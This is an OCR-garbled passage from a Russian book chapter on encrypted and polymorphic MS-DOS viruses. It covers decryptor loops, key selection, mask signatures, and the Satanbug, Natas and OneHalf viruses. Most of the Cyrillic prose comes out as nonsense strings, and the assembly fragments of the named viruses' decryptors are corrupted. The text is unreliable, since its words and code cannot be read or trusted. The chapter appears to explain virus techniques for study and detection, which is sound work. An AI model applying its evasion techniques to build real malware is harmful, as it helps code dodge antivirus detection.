6 o t v  Bupyco.Tora, npeacae B cero  «c n p a T a n > » o t  H ero n o/ ipo6 HocTH p ea .™ - 

3au iiH  B H pycH oro  a jirop iiTM a. Taicace neM ajioBa^H biM  eJ>aKTopoM HBH.nocb 

ace^am ie  CKpbiTb n a .n iH iie  B iip yca  o t  n0 .ib30B aTejw , ck .to h h o i o  n pocM ar- 

pHBaTb cb o h  nporpaM M bi «n a  npocBeT>>. M b i paH ee yace OTMenajni, h to , 

H anpiiM ep, o h c h l xapaK Tep iib iM  npii3 iiaK 0M  search -B H pycoB  HB/iaeTca 

Ha.THHHe B HHX TeKCTOBbIX CTpOK BHJl'A <<*.COM i>, /Ia II BCHHeCKHC <SKO- 

n n p a iiT b i»  h cooGiueHHH, BH BoanM bie BH pycoM  Ha 3KpaH, TaKace oom h h o  

x o p o u io  BHAHbi BuyTpH  3 apaaceHHoro (fraiiJia. I le p B a a  M bicjib  -  3am nc{)po- 

BaTb t c j io  B iipyca.



156 ❖  Q a tiA O B b ie  B upycb i b MS-DOS

/le jiaexca s t o  Ta K . BHpyc nepeA B H e a p e H H e M  C B o e ro  KOAa b «a c e p T - 

B y » 3aniHcJ)poBWBaeT e ro , n o M e m a a  i t k - t o  b u a q a jie  B H p y c a  K o p o T e H b K H H  

cfjparMeHT pacinHcJjpoBKH. Korn a B H p y c  C T a p T y e T  H3 3apa>KeHH0H n p o 
rpaMMbi, t o  p a 6 o T a  Bnpyca naMHHaeTca c B b in o J iH e m ia  3 T o ro  (J jp a ra e H T a  

(pacniHcfjpoBiUHKa). I I o cJie  a a B e p m e m ia  e r o  p a 6 o T b i  ochobhoh koa  Biipy- 
ca r o T O B  jiJin Hcno;meHH«.

06whho <J> parM eHT p a c m i i t f j p o B K M  n p e / i c T a B .M e T  c o 6 o n  n H K J i ,  b h \ ' t -  

p n  KOToporo Bbirio.msieTCH M O A H c jM iK a m if l BiipycHbix 6 a H TO B  no K a K O -  

M y - j m 6 o  n p H H iy m y .  Paay.MeeTCH. npim nnn paciun^poBKH /to/men 6 h iT b  

« 3 e p K a .x b H b iM  O T p a J K e n n e M »  n p i i n m in a ,  p a H e e  H c n 0 J ib 3 0 B a H H 0 n j  / i j i h  

3 a iU H (J )p O B K H  KOfla B H p y c a . O o b lM H C )  IU\5l HCn0JIb30BaHHH B 3 a U IH (J)p O B - 

m iiK a x - p a c u iH ( } ) p o B iH H K a x  ncnojibayroT cjie^yrcnuHe «3epKa/ibHbie» napw 
K O M a H A  h h x  K O M 6 iiH a n ;H H  (c m . T a o Ji. 3.2).

Ta 6n m ^ a  3 .2 .  T la p u  komsha, 
B b tno jiH fN ou iM X  « 3 e p K a n b H b je » o r te p a m tH

nepBan KoMaima 3epKanbHan KOMaHfla

XOR onepaHfl, k/iioh XOR onepaHfl, kjiioh

NEG onepana NEG onepaHfl

N O T onepaHfl N O T onepaHfl

ROL onepaHfl, k/iioh ROR onepaHfl, kjiioh

A D D  onepaHfl, k jikh S U B  onepaHfl, kjiioh

AD D  onepaHfl, k/iioh ADD onepaHfl, ( kjiioh)

B pa3Ae;ie. nocBamenHOM 3arpy304HbiM BupycaM, mm yace oTMenaJiH 
«npejiecTb» onepamm «XOR». He cJiynaHHO OHa Hcnonb3yeTCH BHpyco- 
nHcaTe.'iHMH Haiftiojiee micro.

B  KanecTBe icn cm  wuc^poBamiM o6mmho Bbi6HpaioT KaKoe-Mi6y;ib 
3HaMeHne c paBHOMepHO pacnpeAe^eHHbiMH nv.’ieBbiMH h eAHHUHUbiMii 
6maMH, HanpHMep 0A5A5h. /I,0B0JibH0 hccjiojkho oprannaoBaTb TaioKe 
kjiiom. H3MenaiomHHCH o t  HTepannn k inepanHH no onpeAe.ieHnoMy a.'i- 
ropHTMy. B ot npiiMep Kojia Biipyca Gi.2765, iiiH^pyiomero CBoe xeiio no 
nocTOHHHOMy aJiropHTMy (3Aecb ncno.'ib.iyexcH HHKpeMeHT K/iroqa o t 0 ao 
MaKciiMaJibHoro 3HaMeHH«):

, Bwpyc GI.2765
raov cx.OABS ; Pawep 3ani49oeaHHoa o6nacrn
mov bx,0105 ; Aapec Havana jsbh^cosshhoA ofinacTM
xor a l,  al HaMailbHO0 3Ha'J6HM8 KTOM8

xc r [bx], al , Onepaunfl imiifpoeaHMfl
inc bx ; depexon k c.neny<3iueMy 5 a flry

i n c al
loop I.00PC
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He3HaHHTeJibHoe ycjioacHemie TaKoro noaxoaa mojkho o6napy>KHTb 

b BHpycax, Hcno,ib3yfoinHX nocroHHHbm a/iropHTM iuH(^poBaHHH-pac- 
UIHc|)pOBaHHH, HO nepeMeHHHH KJIK3H. 3TOT KJIIOH MOJKeT 6bITb CBH3aH 

c riepBOHaMajibHOH aJiHHoii nporpaMMbi (TaKOii npiieM Hcn0Jib.30BaH b BH
pycax ceMencTBa Cascade), c aaToii cosaaHHH cfjaiijia nporpaMMbi, c koht- 
pojibHoii cyM M O H  KaKoro-iiHoyjib ynacTKa naMHTii (s to  xapaicrepHO 

BHpyca VIndicator.734, oh ace RedCross.734), a mo^kct h Bu6iipaTbCH 
a6c0JiKJTH0 cjiyMaiiHo.

/[jih noJiyMemiH cjiynaiiHbix MHceji b BHpycax ofibiHHo HcnojibsyioTca 

MCTO/ibi, ocHQBaHHbie Ha o6pameHHHX k chctcmhomv TaHMepy hjih k h z - 

caM peajibHoro BpeMemi. TeKymee BpeMH (c pa3pemaiomeii cnocoouo- 
CTblO flO COTMX flOJiefi CeKYHflbl) MO>KHO nOJiyHHTb npil nOMOUIH CepBHC- 
hoh (fjyHKHHH M S -D O S  (npepbiBamie 2 lh, koa 2C h ) hjih npH noMomii 
cepBiicHOH (JjyHKimH R O M -B IO S  (npepbiBamie 1 Ah, ko;i 02). ^oBOJibno 

peflKo BCTpenaeTCH npHMoe oopamemie k 3HaMeimfo TeKymero BpeMemi, 
coxpaHeHHOMy b H'leiiKax 0, 2 ii 4 CMOS-naMHTH (flocTvn Mepea nopTbi 
70h n 71h).

HanooJiee nonyjinpHoii cpe/ui BiipyconHcaTejieft cuiTaeTca rpynna
MCTO/IOB, CBH33HHbIX CO CMHTblBaHIleM TeKVIlierO 3HaHeHHH CMCTMHKa CI1-
CTeMHoro TaiiMepa. IIo  yMOJiqaniiio (ecJiH He 6buiH aKTHBHpoBaHbi cne- 
UnajibHbie peacHMbi aocTyna) 6ycf>epHbie penicipbi TaiiMepa, AocrynHbie 

liepea nopTW 40h, 41h h 42h, coaepxcaT (JiparMeHTbi TeKymero 3Haifemin 

cMeTHHKOB TaiiMepa, iioctohhho H3MeHHiomerocH c nacTOTOii 1.19 MFu. 
HanpiiMep, liepe3 nopT 40h M0acH0 <sB3rJiHHyrb» Ha c jc t ih k , ripHHazuie- 
acamHH HyjieBOMy KanaJiy cncTeMHoro TaiiMepa. IIoaTOMy najiKHHe hhvt- 
pH Biipyca KOMaHflbi BH^a <sIN A L ,40 h » o6hhho 03HaviaeT, hto BiipyconH- 
caTe.Tb ribiTaeTCH nojiyniiTb cjiyiaiiHoe hhcjio b a,nana30He o t 0 ao 255. 
CjieayeT oTMeraTb, mto rrpaKTH'iecKH Bceraa b BHpycax s to t  M exam m i 
Hcnojib3yeTCH HeKoppeKrao. Il,ejio b tom, hto Kaacfloe HeneTHoe o6pame- 
HHe k nopTy 40h B03BpamaeT 6bicTpo H3MeHHiomeecH b umpoKHx npeae- 
jiax 3naMeHHe M/iaaiiiero 6aiiTa cwexHHKa, a Kaacaoe 'leTHoe B03BpamaeT 

aoBOJibiio «nocTOHHHoe>> 3fiaiieime CTapmero 6a im . B pe3yjibTaTe 3Toro 

nocjieaoBaTeJibHocTb m nce/i, nojiyuae.MaH nocjie HecKOJibiaix o6pameHiifi 
k nopTy 40h, hbjihctch ne cjihiukom CToxacTii'iHoii. Ho a :ih nojiyiemiH  

oaHoro-e/niHCTBeHiioro cjiyiaiiHoro HHc-Jia mctoa buojihc npHCM.aeM.
Vluen TaKoe hhcjio, MoacHo Hciio.’ibaoBaTb ero b Ka^ecTBe KJiwia uiHcjb- 

poBamiH, KaK, HanpiiMep, 3to cnejiaHO b BHpyce Fdatelll.537:
: S iipyc  FOATE111 637 

* o v  fcx.0015
(It; ; 3t o  h0;i
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db
CO
db

80h
37h

.KQMaHflU...
; XOfi CS:[ BX],KEY 
, 6aS t  c /iy 'n aM H oro  K jiw ua tuu^poeaHKPKEY

cmp
j l

Dx
bx,0219 
0000271A

Ka3a;iocb 6 m. A-na /lexcKTiipo naHH h noAo6Hbix BiipyeoB b  KanecTBe 

cnrHaTypbi m ojk h o  ncn0.xb30BaTb SaiiTbi pac m H(})po blu h Ka, TeM 6ojiee h to  

o h h  nocTOHHHM ajih Bcex aiciCMnJiapoB BHpyca. H o b  TaKOM c.nynae nepea 

aHTHBHpycoM B03HiiKai0T H epa3peu iiiM bie npo6jie.Mbi.
HepBaa CB^aana c TeM, h t o  ofliraaKOBHe o a iiT b i  paciiiH<J>poBmHKa 

m o t j t  HMeTb, HanpHMep, p a 3 H w e  Biipycbi, npHHaa^eacamHe k 0flH0My 

ceMencTBy. B 3 t o m  cjxynae pa3,ut'fna, cnocooribie ciMbHO noB.niiHTb Ha 

ajiropHTM « / ie H e H iM » ,  oKaacyTca coKpbiTbi bhvtph  3amH4)poBaHHoro 

Tejia BHpyca. H o  Aaace earn  s t o  He TaK, Bee paBHO 6ojibuiHHCTBo Biipy- 
c o b  HeB03M0«H0 KoppeKTHO y / ia jiH T b  6e3 p a cu iH c|)po B K H  ero Te.Ta. no- 
cKOJibKy BHpycoJiory Tpe6yeTca 3 H a H iie  3HaHemiH cTapTOBbix 6aHTOB 
CO M -nporpaM M bi h j i h  H3MeHeHHbix BHpycoM nojieft 3arojioBKa E X E - 
nporpaMMbi.

TaraiM o6pa30M, aHTHBHpyc aojijkch coaepacaTb AJia fleTeKTHpoBaHiia 

3auni(J)poBaHHbix BHpycoB flBe 6aiiTOBbie cnrHaTypbi:
O  -«npe4BapnTejibnyio», no KOTopon iipnHHMaeTca peuiemie o pac- 

uiH(|)poBKe Te.fia BHpyca ii BhinojmaeTca Tanaa pacuiH<JjpoBKa;
O  «ochobhvio », pacnojiojKeiiHVK) b paHee 3auiH(})p0BaHH0H nacra B H 

pyca h HMeiomyio TpanHijHOHHoe 3HaHemie.
IIpHMepHO TaK ii obuiH ycTpoeHU Bee aHTHBiipycbi ao Tex nop, noKa 

BHpyconncaTejiH He aoraAa/mcb Kaacflbiii pa3 cjiynaHHbiM 06pa30M bhao- 
H3MeHaTb b pacmiicJjpoBbiBaiomeM cfjpar.M enTe He tojibko k j i i o h , ho h caMH 

KOMaHAbi, cocTaBJiaiomiie s t o t  4>parMem\
O hh p accy>K A a .TH  npiiMepHo Ta K . IlycTb «c ,K e jie T »  paciiiHcfjpoBiniiKa 

C O C TO H T H3 H eC K O JIb K H X  KOMaHfl, H a n p H M e p  Ta K H X :

rnov nHAeKCHb»M_D©rMCTp, 3£pec_Hâ af:3_i?parMeHTa 
mov pemcTpl, KmoM..!8ii(|>pauMi 
mov perHcrp2, CHeTMî uviicna

C jm ia ii i ib iH  xap aK Tep  m ojkho npwaaTb He TOJibKO ic/nciy  uiHiJjpoBa- 

H iia, HO h H cnojrb3yeM bjM  b pacm iK jjpoB m H K e perncTpaM , a TaioKe on e- 

panini, BbinoJiHae.Mofi naA  oam 'aM ii BH pycH oro  Tejia . 3 to .uerKO CAejiaTb,

NeT<a:
onepaMiia [ktHaeKCHHw periicTp]. kji0M_Liiknijpauhh 
dec cmotmmk miKJia 
jnz MeTsa



3aiun<t>poBaHHbie n noAHMopcfiHbe enpycbi ❖  159

eCJIH 3 H a T b  npHHIJHITbl OpraHH33LlHH KO£OB CHCTeMHbIX KOMaHA HJIH n p O -  

ljeccopoB 80x86/Pentium.
HanpHMep, KOMaH/ia BH/ia « M O V  peracrp, hhcjio*  HMeeT cjieAyiomyio 

BHyTpeHHioio CTpyKTypy:

1011 X  R R R  <M.fiaauiHH oaiiT Hitc,'ia> <CTapiiiHH 6aiiT lm cjia>,

r^e X = 0  a n a  8-6htobmx perncrpoB h 1 n m  16-6htobhx peracTpoB; 
R R R  -  KofliipoBKa peracTpa (cm. b nocjieaneft rjiaBt: t h 6 ji . 7.5).

TaKHM 06pa30M, KOMaH^a « M O V  C X , 1234h» mojkct 6biTb cKOHcrpyii- 
poBaHa H3 c.ie/iyfoinnx 6htob : 1011+1+001 + < 6 h t w  'inc. Jia>, hto cootbct- 
cTByeT b uiecTHaanaTepHHHOH aanncH TpeM oaftraM -  «0B 9h  34h 12h».

OneHb noxoxyio  cTpyicrypy hmciot KOManaw nepecujiKH 113 peracTpa 

b peracTp BH^a « M O V  peracTpl, perHCTp2»:

1000101 X  11 R R R  RRR ,

HanpuMep « M O V  BP, S P »  pacK.’iafluBaeTca Ha OTgejibHbie 6iiTOBbie nojia 

KaK 1000101+1+11+101 +  100, hto cooTBeTCTByeT 6aHTaM: «8 B h  E Ch ».
tlMeiDT cboio BHyTpeHHioio C TpyK Typy h Bee flpynie MauiHHHbie KOMaH- 

Ahi. C  noztpoSHOCTaMii h x  crpoeHfia mojkho 03HaK0M iiTbca npaicrHHecKH 

b Jiio6oii KHHre, nocBameHHoii nporpaMMiipoBaHHK) Ha H3bnce AcceM6^e- 
pa. 3 m s i 3th no/ipooHOCTH, mojkho b 3aBncn.MocTH ot nojiynae.vfwx 3Hane- 
hhh CjiynaiiHbix bcjihhhh Lie.aeHanpaB/ieHHO cjxipMHpoBaTb 113 «CKe.ueTa» 
KOHKpeTHbie BapnanTbi paciuHcjjpoBmHKa. HanpHMep, «HHAeKCHbiii_pe- 
rHCTp*> BblOHpaeTCH H3 peTHCTpOB BX , SI HJIH D I. 3a4»lKCHp0BaB KaKOH- 
HHoyjxb peracTp b KanecTBe nnaeKCHoro, mojkho HcnojibsoBaTb A-ra «pe - 
riicTpa 1» h -«perncTpa2» .?iK>6bie apyn ie  peracTpw, He HcnojibsOBannbie 

paHee. Uhkji MoaceT 6biTb 0praHH30BaH He TojibKo npsi noMomn komahah 

« L O O P » ,  ho h npn noMomn paa.aHHiihix KOMaiiA yc.ioBHbix h 6e.3yc.70B- 
Hbix nepexoAOB. H TaK flajiee.

B  pe3yjiwaTe motvt nojivHHTboi pa3;inHHbie BapnaHTbi paciuncJjpoB- 
iu h k o b , npHMepHo TaKHe, KaK b  BHpyce Seat.2389.

. Bapnam 1 
mov di.0C73h 
nov ax,0941 
mov ex.ax
add cs:[di+9Eh],0A4h 
inc di 
loop 8

; BapnanT 2 
nov si,0073h 
nov bx,0941 
mov ex.bx
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sub cs:[si+9Eh],OEIh 
me sx 
loop 8

JlerKO BH^erb, hto sth  pacniHcj^poBiuHKH He coBceM paaaii'iHbi. Tan KaK 

«CKeaeT» y hhx o/ihh h to t  ace, ohh coztepacaT Ha KOHKpeTHux ito3hith- 
ax HeH3MeiiHbiMH oTflejibHbie 6aHTbi h 4>parMeHTU 3thx 6a «T 0B (rp yn n u  

6htob ), hto no-npeacneMy MoaceT 6uTb Hcn0ab30BaH0 aaa  BhmeaemM h 

Hcn0jTb30BaHiiH ciiniaTypbi. FIocKojibKy cjiynaiiHbie h HecjiynaiiHbie 6ali
r a  nepeMeacaioTCfl, to  cHraaTypa oyaer npepbiBHCToft. TaKiie CHTHaTypw 
H a sb iB a ro TC K  <i.M acK aM u ».

IlpeanoaoacHM, H3BecTH0, mto oiipeaeaeiiHbiii oaiiT A  BHyrpn Biipyca 

HMeeT bh/i «1 0 1 1 X R R R », rfle « X »  h « R »  cooTBeTCTByioT cayiaiiHbiM 6h- 
tsm. Toraa aoniHHO Hcn0Jib30BaTb aaa  fleTeKTHpoBaHna «K0HTp0abHbm» 
6aiiT B  c o  3 [ { a ie [ in e M  B O h  =  10110000b h «MacKV» C  co snanem -ieM  F O h  =  
=  111 lOOOOh, a cpaBHeHHe npoiBBoaiiTb npHMepHo TaK:

if ( ( A&C)==B) ...

rio/io6Hije BHpycbi spaa jih Moaaio Ha3BaTb nojiHOCTbro no/iiiMop(|>- 
HbiMH. jinn  hhx 6h ji npHAVMan c n e n n a a b H b iH  TepMHH -  « ojiuioMop<p-  
H b ie » BHpycbi (o t  rpen. oligos -  HeaocTaTOK).

J lo  «HacToam nx» iiojihmop^hkob ocTaBaacfl Bcero o^hh He6oabinoii 
mar... H  oh, pa3yMeeT«i, 6bia caeaan. SaKaroHaaca oh b npiiMeneHHH 

p>iaa npocTHx «tp iokob».
Bo-nepBbix, n o p n a o K  HcnoaneHHH HeK0T0pbix KOMaHa (npeayie B c e ro  

KOMa ho, 3 a r p y 3 K H  p e r n c r p o B  h i ic j io b h m h  3HayeHnaMii) a 6 c o a io T H o  He Ba- 
aceH, n03T0My h x  m o >k h o  M e iu iT b  MecTaMH.

Bo-BTopux, K O M a iia u  p a m iic js p o B m iiK a  M o a a io  c a B H r a T b  no n a M H T ii 

B n e p e a -n a 3 a a , pa3oaBnan «.v ry c o p o M > , B  K a n e c TB e  « M V c o p a »  M a cro  hc- 
n o a b 3 y ro TC 5 i n p o rp a M M H b ie  4>parMeHTM, He B J iiw io m H e  H a  p a 6 o T V  pac- 
im icJjp o B U iH K a :

O  0AH06aiiT0Bbie KOMaH^bi « N O P » ;
O  o a n o o a iiT O B b ie  K O M a n a w , MaHimyanpyiomHe c 6 iiT a M H  perncTpa 

cjD/iaroB uponeccopa «C L I » ,  « S T D »  h  u p o M iiM ii;

O  o a H o o a iiT O B b ie  K O M a H a u , M a H H riy a n p y io u m e  c neHcnoab3yeMbiMii 
b p a c h im cj^pobuiH K e p e r a c T p a M ii  -  «D E C  DX>>, « IN C  B P »  h  n p o -  

mhmh;
O  oano6aiiTOBbie npe4>HKCbi nepetiasiia'ieHHa cerMeHTOB * C S : » ,  

«D S :»  ii npoHiix;
O  MHoro6aiiTOBbie h MHoroKOManfliibie KOMOiinauHH, He Bbirioamiio- 

miie HHKaKHX <<noae3iibix>> aeiicTBHM, -  napbi « P U S H / P O P » ,  
«nycTUiUKH» Tuna «M O V  BX,BX>> nan « A D D  A X ,0 » h npoHue;
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O « ji0 5K in > ie »  h  « 6 e c c M b ic j ie H H b ie »  v c j iO B H b ie  h  6 e3y c .1 0 B H i.1e  n e p e -  

x o f lb i  r a n a  «JMP $+3» h  n p o n n e .

B - T p e T b H X ,  K O M a H A H  p a c im i4 > p o B in n K a  ( b  t o m  m h c j i c  h  « M y c o p H b ie > )  

M O JK H O  n p O H 3 B O J Ib H b IM  0 6 p a 3 0 M  M e H a T b  M e C T a M H , B O C C T a H a B J IH B a a  n p a -  

B H J Ib H b lH  r iO p a / lO K  H C n O J IH e H H H  n p H  n O M O lU H  K O M a H / I  yC /IO B H O T O  H JIH  

6 e 3 y c : j io B H o r o  n e p e x o / ja .

B-MeTBepTMX, KOMaH/JW paCUIHĈ pOBIUHKa MOJKHO 3aMeHHTb HX (fWHK~ 
UiioHa.'ibHbiMii 3KBHBa.TeuTaMH. HanpHMep, KOMan/ia «M O V AX,0» toh- 
ho TaK ace o6HyjiaeT peracTp AX, KaK KOMaHfla «SUB AX,AX » hjih napa 
KOMaH/i « PUSH O/POP A X k

B - n n T b ix . . .  A B -m e c T b ix . . .  KpoMe T o r o ,  B - c e / ib M b ix . . .  Kopone r o B o p a ,  

B a p n a H T O B  cH J ib H O  y c j io ^ c H H T b  h s a n y r a r b  y c T p o n c T B O  p a c u iH (} > p o B iH H -  

K a  -  n p e B e j n iK o e  mhojkcctbo. I I o j iH M o p t j ) H b ie  p a c ii iM ( f> p o B iU H K H , n o j i y -  

' l a K jm n e c H  b p e 3 y j ib T a T e  T a K o r o  p o a a  « T B o p 'ie c T B a » ,  n e p e a K o  3 a H H M a ro T  

A e c H T K i i  K H J io 6 a iiT O B  n p o r p a M M H o r o  K o z ia !  I e H e p u p jT O T c a  ohh 3 B T 0 M a -  

T H M e cK H , c j i y n a i iH b iM  o 6 p a 3 0 M ,  u o 6 H a p y a c H n >  B H y T p i i  hhx 6 a i i T b i  Ha no- 
C T O H H H b lX  II03HUH51X C n O C T O H H H b lM H  3 H 3 H e H H a M H  HeB03M0/KH0I H X  T a M  

n p o c T o  H e r .  B o j i e e  to to , n p H M e H e H i ie  n o f l o o H b i x  M e T o ^ o B  n o p o a c a a e T  3(J>- 

(J>ckt <io6(pycKauuu», to  e c T b  43an\TbiBaHiifl» n p o r p a M M b i ,  npHBe#eHiia 
e e  k  c j io a c H O M y  4 .71a  n o H H M 3 H i ia  B H / iy .

B H y T p i i  Ta K H e  B iip y c b i ( B e p H e e ,  H c n 0 J ib 3 0 B a H H b ie  b  h h x  a j i r o p H T -  

M b l < M y T a l( H iI » ) ,  K a K  n p a B H JIO , flOBOJIbHO A JIH H H b l h  o ;u io o 6 p a 3 H b i: c o -  

C T o a T  H3 6 o jib in o r o  K O Jin n e c TB a  u p o a y K H H H  BHfla «  ECJIH y c jiO B H e , TO 
4 e H C T B H e » , r a e  « y c j i o B H e »  3 3 b h c h t  o t  3 H 3 y e H H a  c j iy n a H H o r o  m i c m .  

a  « ; ie H C T B H e »  3 a K Jiio H a e Tca  b  c J jo p m h p o b s h h h  t o t o  h j i h  m i o r o  B a p n a H T a  

K a K O H -H ii6 y a b  K o M a H iib i p a c u iH ^ p o B u iH K a . Ha H 3 b iK a x  b h c o k o t o  y p o B - 

n a  n o A o 6 n b ie  a j i r o p H T M b i o 6 m m h o  p e a jr a s y io T c a  b  b h / t c  y n p a B J ia io u iH X  

c T p y K i y p  r a n a  «CASE» ( b  r i a c K a . x e )  h j i h  « s \ v i t c h »  ( b  C i i ) ,  a H a  a 3biKe 

A c c e M 6 jie p a  s t o  B b irjia flM T  j ih 6 o  K aK  6 o jib in o e  k o jih h c c t b o  K O M 6 H H a m n 1  

B ita a  «CMP/JE», j ih 6 o  K aK  K O M a iu a  K o c B e H H o ro  n e p e x o fla , c c b iJ ia io m a a - 

ca Ha a j i h h h v io  Ta&.finqy a a p e c o B :

m al, 40h
ffQV bx, ax
shi bx, 1
jmp Table[bx]

tab le :
dw offset Addresl
dw offset Acdres2

B o t  oamh M3 H a i i6 o J ie e  n p o c T H X  h « K O M n a K T t ib ix >  n p im e p o B  -  napa 

c . i v ' f a i iH b i x  p a c u iH c J jp o B im iK O B ,  c r a ie p H p o B a H H b i x  B i i p v c o M  Bander-
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snatch ( H 3 B e c T H b iM  TaKace noa HenoHHTHbiM h 3a6aBHMM n p o 3 B i im e M  

«3jionacTHMH BpaHflauiMbiT>).

; BapnaHT 1 
Std
Inc
Hov
Mov
Mov
Mov
Mov
Std
Sub
Mov
Inc
Mov

cx
dh, 1Ch
OX, S i

s i,2838h  
cx.cx 
bx,0F36h

c s :[s i] ,d h
c h , [ C i l  

s i
cl,[bx]

C s: Nop 
Dec bx 
Std
Jne 0000271E

; Bapuam 2 
cli
«ov cx,0F36h
push dx
nov
cs:
mov

■ov
s t d

pop

add
O ld

cs:
inc
s t i

dec
p ush

mov
jne

nop
bx,14B0h

ax.cx 
dh,0F2h

ax
c s :[b x ],d h

nop
bx

cx
dp
ah,[dij 
00001396

; Kaiom muippoBaHiiq 

; A flpe o

: CuetHHK MMKfla 

: UlidtfpoeaHMe

; C/iBflyio iiik ift 6 aS t

; JJeivpeMeHT cMeT'-iW\« 

; LikiCT

; C'jeTMnK. uMwia 

; A c p e c

; KniOM iin o p o B a H iio  

; HinsJjpoeaHun

CJienyionHM oafn

4er,peMeHT c>jeT«HKa

Uhkji

H cn o^b3yioTCH h a p y n ie  n^eii «caM ou in4)poBatffls{». HanpHMep, cy- 

mecTByroT Bnpycu, npeacTaBJtaiomne co6oh MnoacecTBO nepecTaBJwe.Nfbix 

B p a 3 J IH H H b IX  KOMOHliaUHHX KOMEHZl «M O V » H JIH  «PUSH», (JxtpMHpyiO 

iuhx b H T o r e  r a e - T o  b o n e p a T H B H o i i  naMHTH «peaJibHbiH» oopa3 Bnpyca.

HHTepecHbiii noaxoa k naee <<caMom ii(J>poBaHH>i»  Hcnojib3yioT Tan na- 
3biBaeMbie <s.uedjienmie n o s iu M o p c p u K u * . 3 to  caMOMoaH(|)HLiHpyioinnecH 
Biipycu, MympyioiuHe no npn Ka>KflOM aanycKe, ho .ranib npn coHeTamm



BaujnctipoBaHHbie n noAHMopcfiHbie Bupycbi ❖ 1 6 3

p n iia  AOBOJibH O peflKiix o 6 c T O H Te jib C TB  (o r ip e jie jie H H O H  f l a r a ,  K O H T p o jib - 

H O H  C yM M bI K a K H X -H H 6 y A b  O O JiaCTeil n a M H T H , H a JIH H H H  H JIH  O TC y TC TB H H  

K a K H x -H H 6 y / ib  (f)a iM O B  H a  B H H H e c Te p e  h  t .  n . ) .  B  o c T a jib iio e  B peM H  B H 

p y c  He HMeeT f lo c r y n a  k  c o 6 c T B e H H O M y  M e x a H H 3 M y  M y T a n H H , n o c K O Jib K y  

3 T 0 T  M eX3H H 3M  3a lU H (})p O B a H  n p H  ITOM OUIH y H H K a JIb H O ro  KJIBDMa, C O O TB e T- 

c T B y io m e r o  s t h m  caM biM  o o cT O H Te jib C TB a M . T o m h o  T a K  ace h  B iip y c o j io r  

H e  H M e e T HHKaKoro a o c r y n a  k  3 T 0 \ iy  M e xa H H 3 M y  h ,  c jie f l0 B a Te jib H 0 , He 

M o aceT H 3 y H H T b  B 03M 0acH 0e H a n p a B jie H H e  M y r a m iH .  Emv o cx a e TC H  T O Jib - 

k o  Te p n e jiH B O  M o /je JiH p o B a Tb  H a c b o c m  K O M n b K )Te p e  pa 3 JiH H H b ie  c H T y a -  

i j h h  b  Haaeacfle, h t o  K o r;ia -H H 6 v rA b « k j i io h  n o ,a o H fle T » . B n p o n e M , to m h o  

T a K  ace H e T  H H K a K O H  r a p a n T H H , h t o  B n p jrc, a cM B ym iiH  b  « a h k o h  n p n p o ; ie » ,  

x o t h  6 b i oAfiaacAbi M y T H p y e T . r ip H M e p o M  T a K o ro  B iip y c a  M o aceT c jiy a c H Tb

Pkunk.1586.
«PacixBeT» cjioacHonojniMopcjbHbix BHpycoB ajih MS-DOS npHUiejicn 

Ha cepe/im iy 90-x rofloB XX BeKa. / l 0B0JibH0 cjioacHbie nojniMop(|)HKH 
co3AaBa-iHCb ii MyTb paHee, b 1991-1992 ro /iax, ho noroflbi He aejiajin.

Iloacajiyfi, nepBMMH npeABecTHHKaMii rpajiym efi « 6yp n »  CTajiH BHpy
cbi ceMeiicTB Satanbug h Natas, HamicaHHwe aMepHKaHCKHM uiKOJibHii- 
kom /taceiiMCOM /[aceHTHJie h b 1 9 9 4  r. npoKaTHBiuHecH no BceMy H 0B0 \iy  
CBeTy -  H3 C IU A  nepea MeKCHKy b JiaTHHoaMepiiKaHCKiie CTpaHbi h 0 6 - 
p a n io . B upycbi co^epacajiH nojriiMop(J)Hbie paciimcJtpoBiiiHKH nepeMeH- 
HOH flJIHHbl H MHOaceCTBO aHTHOTJiaaOHHbIX TpKDKOB, 3aTpyflHHI0lIUIX IIC- 
cjiejioBaHHe h x  Ko,aa.

IlpHMepHO B 3T0 ace BpeMH nOHBHJIHCb oopaailbl KOMHblOTepHOH «3a- 
pa3 bi» H3 A htjih h , CKOHCTpyHpoBaHHbie Ha 0CH0Be BbicoKocjioacHoii no- 
jiHM0pcJ)H0H TexHOJioriiH SMEG (penb o TaKoro pojia <<TexiiojioriiHX>> 
rioftaeT ziaJibme). PacnpocrpaHeHHH miipoKoro ohh He nojiyroJiH , ho Bee 
paBHO BH3BaJIH HT0-T0 BpOfle He6 0 JIbIII0 H naHHKH B C.peaC.TBaX MaCCOBOH 
HH(J)0pMaUHH. /I.lHHa H «3anVTaHH0CTb» IIOJIHMOpcjjHblX paCIUH(J)pOBmH- 
kob Toraa nopa3HJia flaace BHpycojioroB.

A  cnycTH em e n ojiro aa  rpHHyjia MHpoBan armaeMiiH Biipyca OneHalf. 
3 5 4 4 . IIojiHMopc|)HbiH pacuiHcfjpoBimiK 3Toro Biipyca npe,a;cTaBJiHJi co6oii 
He oflHH uejibiii 4)parMeHT, ho 6 h ji pacnpe/iejieH «KycoHKaMH» no BceMy 
TCJiy 3apaaceHHoro cJjaftjia, npH'ie.w « kvcomkh» 6 m jih  CBH3aHbi no ynpaB- 
Jiem no n p a  noMomn KOMan/i ycjioBH oro h 6e3yc/ioBH oro nepexojja.

M c t o a  M o ;iH (f)H H M p o B a H H H  Ko/ia n p o rp a M M , n p e / iy c M a T p iiB a io m H H  

nepecTaH O BKy c M ecTa Ha M ecTo KaK oxzieJibHbix KOMan;;, TaK h  ue jib ix  

6 j io k o b , noJiy'fHJi Ha3BaHHe «n e p .\ ty m a n u u » ( o r  am .n . p e rm u ta t io n  -  n ep e - 

CTaHOBKa). A m ctoa , 3aKJiK)4aiom ni:icH b nepeM em iiBaH H H  K0/ta BHpyca 

c k o jiom  nporpaM M bi. -  «n iJ ia u c u H i»  ( o t  aHrji. t o  s p lic e  -  cru ieTaTb ).
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... nporpaMMa...

2-o H cjjparMeHT 
pacui«<t)poBmnKa

... nporpaMMa...

1-btii cfiparMeHT 
pacuiK(j}poBU4iiKa

.. nporpaMMa...

N-biti c}>parMeHT 
pacujwcjjpoBiijMKa

... flporpaMMa...

3auiMct>poBaHHbifi
BHpyc

Pmc. 3.7 ❖ CTpyKTypa nporpaMMbi, 
3apa*eHHoPi BHpycoM OneHalf.3544

BHpyc OneHalf.3544, H an n caH H w ii b  o a h o h  hs cTpaH  B o c t o h h o h  

Efiporibl, nOHCTHHe CHHTaeTCfl «K O pO /leM » Bcex lIOJIIlMOpcJjHKOB U.JISL 
MS-DOS, x o t h  Hiinero o coo eH H o  h o b o t o  b  npaK TH K y nanH cann>i B H p y 

